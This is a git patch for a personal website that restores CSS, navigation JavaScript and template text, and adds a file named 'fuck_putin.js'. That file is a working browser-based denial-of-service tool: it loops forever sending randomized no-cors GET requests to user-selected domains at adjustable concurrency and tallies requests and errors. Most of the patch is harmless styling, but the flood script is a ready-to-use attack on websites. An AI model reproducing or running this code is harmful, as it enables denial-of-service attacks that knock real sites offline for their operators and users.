From 07ea4f1ca22c2d2a8fb424e0eeb79de6f03237ef Mon Sep 17 00:00:00 2001 From: Marcel Plch Date: Wed, 21 Jun 2023 07:55:19 +0200 Subject: [PATCH] Recover old static files. There's nothing wrong about them. Let's just recover and tweak them instead of a rewrite. --- base_app/static/base_app/css/master.css | 155 ++++++++++++++++++++++ base_app/static/base_app/css/ukraine.css | 20 +++ base_app/static/base_app/js/fuck_putin.js | 89 +++++++++++++ base_app/static/base_app/js/master.js | 31 +++++ base_app/templates/index.html | 6 + base_app/templates/layout.html | 2 +- 6 files changed, 302 insertions(+), 1 deletion(-) create mode 100644 base_app/static/base_app/css/master.css create mode 100644 base_app/static/base_app/css/ukraine.css create mode 100644 base_app/static/base_app/js/fuck_putin.js create mode 100644 base_app/static/base_app/js/master.js diff --git a/base_app/static/base_app/css/master.css b/base_app/static/base_app/css/master.css new file mode 100644 index 0000000..533788f --- /dev/null +++ b/base_app/static/base_app/css/master.css @@ -0,0 +1,155 @@ +body { + color: #377ba8; + background: #252525; + font-size: 62.5%; + color: white; +} + +h1, h2 { + margin: 0; + text-shadow: -2px -2px 0 #000, 2px -2px 0 #000, + -2px 2px 0 #000, 2px 2px 0 #000; +} + +h1 { + color: white; + font-size: 4rem; + border-bottom: 2px solid #eee; + padding-bottom: 0.7%; + margin-bottom: 2.5%; + margin-top: 1%; +} + +h2 { + margin-top: 6%; + font-size: 3rem; + line-height: 2.9rem; +} + +a { + color: #377ba8; +} + +p { + padding-right: 33%; + font-size: 0.95rem; +} +h3 { + font-size: 1.7rem; + margin-bottom: 2%; +} + +ul { + font-size: 1.05rem; +} + +h4 { + font-size: 1.05rem; +} + +.ftr { + width: 90%; + margin-left: 5%; + display: flex; + justify-content: space-evenly; + align-items: center; + flex-flow: row wrap; +} + +.ftrh { + font-size: 1.7rem; + margin-bottom: 0; +} + +.key { + display: flex; + justify-content: center; + text-align: center; +} + +.page { + margin: 2% auto; + width: 66.666%; + border: 5px solid #ccc; + padding: 0.8%; + padding: 0.8%; + background: #333; +} + +.navbar { + margin-left: -20.5%; + margin-top: 15%; + width: 21%; + border: 5px solid #ccc; + background: #333; + float: left; + position: fixed; + transition: margin-left 0.2s; +} + +.navbar-active { + margin-left: 0%; + margin-top: 15%; + width: 21%; + border: 5px solid #ccc; + background: #333; + float: left; + position: fixed; + transition: margin-left 0.2s; +} + + +.navbar-block { + font-size: 1.13rem; + width: 95%; + padding-top: 5%; + padding-bottom: 5%; + margin-left: 2.5%; + margin-top: 3%; + margin-bottom: 3%; + float: left; + color: white; + background: #454545; +} + +.navbar-button { + margin-left: 20%; + margin-top: 5.5%; + border: 5px solid #ccc; + border-radius: 40px; + background: #333; + float: left; + position: fixed; + transition: margin-left 0.2s; + font-size: 1.8rem; + padding: 1%; + padding-top: 0.6%; + padding-bottom: 0.6%; + cursor: pointer; +} + +@media only screen and (max-width: 604px) { + h1 { + font-size: 2rem; + } + h2 { + font-size: 1.8rem; + } + .navbar { + width: 80%; + margin-left: -80%; + } + .navbar-active { + width: 80%; + margin-left: 30%: + } + + .navbar-button { + margin-left: 78%; + margin-top: 22%; + } + p { + padding-right: 8%; + } + +} diff --git a/base_app/static/base_app/css/ukraine.css b/base_app/static/base_app/css/ukraine.css new file mode 100644 index 0000000..e828d65 --- /dev/null +++ b/base_app/static/base_app/css/ukraine.css @@ -0,0 +1,20 @@ +.domain-wrapper { + display: flex; + flex-flow: row wrap; + justify-content: space-between; + width: 95%; + font-size: 11pt; +} + +.domain-segment-checkbox { + width: 5%; +} +.domain-segment-domain { + width: 45%; +} +.domain-segment-req { + width: 25%; +} +.domain-segment-err { + width: 25%; +} diff --git a/base_app/static/base_app/js/fuck_putin.js b/base_app/static/base_app/js/fuck_putin.js new file mode 100644 index 0000000..9b59621 --- /dev/null +++ b/base_app/static/base_app/js/fuck_putin.js @@ -0,0 +1,89 @@ + +var CONCURRENCY_LIMIT = 50; +var queue = []; +var stop = false + +function req_update() { + slider = document.querySelector("#requests"); + infobox = document.querySelector("#amount"); + CONCURRENCY_LIMIT = slider.value; + infobox.innerHTML = slider.value; +} + +async function fetchWithTimeout(resource, options) { + const controller = new AbortController(); + const id = setTimeout(() => controller.abort(), options.timeout); + + return fetch(resource, { + method: 'GET', + mode: 'no-cors', + signal: controller.signal + }).then((response) => { + clearTimeout(id); + return response; + }).catch((error) => { + clearTimeout(id); + throw error; + }); +} + +async function flood() { + + // Collect selected domains + let targets = []; + let stat = document.querySelector("#status") + let domains = document.querySelectorAll(".domain-wrapper"); + domains.forEach((domain) => { + if (domain.children[0].children[0].checked) { + domain.errors = 0; + domain.requests = 0; + targets.push(domain); + } + }); + + stat.innerHTML = "Status: on" + + for (var i = 0; ; ++i) { + randarg = i % 3 === 0 ? '' : ('?' + Math.random() * 1000); + rand = Math.floor(Math.random() * targets.length) % targets.length; + target = targets[rand]; + queue.push( + fetchWithTimeout(target.children[1].innerHTML.trim() + randarg, {"timeout": 1000} + ).catch((error) => { + if (error.code === 20 /* ABORT */) { + return; + } + target.errors++; + } + ).then((response) => { + if (response && !response.ok) { + target.errors++; + } + target.requests++; + } + ) + ); + + if (queue.length >= CONCURRENCY_LIMIT) { + await queue.shift(); + } + if (stop) { + queue = []; + stat.innerHTML = "Status: off" + stop = false + return + } + } +} + +function printStats() { + domains = document.querySelectorAll(".domain-wrapper"); + domains.forEach((domain) => { + domain.children[2].innerHTML = `requests: ${domain.requests}`; + domain.children[3].innerHTML = `errors: ${domain.errors}`; + + }); + +} + +setInterval(printStats, 1000); diff --git a/base_app/static/base_app/js/master.js b/base_app/static/base_app/js/master.js new file mode 100644 index 0000000..dd4722f --- /dev/null +++ b/base_app/static/base_app/js/master.js @@ -0,0 +1,31 @@ +function init() { + let nav; + nav = document.getElementById("nav"); + nav.state = new Object(); + nav.state.open = false; +} + +function navbar_click() { + let nav; + let navButton; + + nav = document.getElementById("nav"); + check = nav.hasOwnProperty("state") + if (!check) { + return; + } + + if (!nav.state.open) { + nav.classList.add("navbar-active"); + nav.classList.remove("navbar"); + // TODO: This breaks with every new page added + nav.children[4].innerHTML = "<" + nav.state.open = true; + } + else { + nav.classList.remove("navbar-active"); + nav.classList.add("navbar"); + nav.children[4].innerHTML = ">" + nav.state.open = false; + } +} diff --git a/base_app/templates/index.html b/base_app/templates/index.html index 4671084..14d0247 100644 --- a/base_app/templates/index.html +++ b/base_app/templates/index.html @@ -6,6 +6,12 @@

Homepage

UNDER MAINTENANCE

+

Welcome to my website

+

Marcel Plch

+

+ Let's turn this into something useful, + shall we. +

{% endblock %} diff --git a/base_app/templates/layout.html b/base_app/templates/layout.html index 9c6e20c..4d7181e 100644 --- a/base_app/templates/layout.html +++ b/base_app/templates/layout.html @@ -31,7 +31,7 @@

E-mail: dormouse at plch(It's this very domain.)xyz

-

Jabber/XMPP: @dormouse@plch.xyz

+

Jabber/XMPP: dormouse@plch.xyz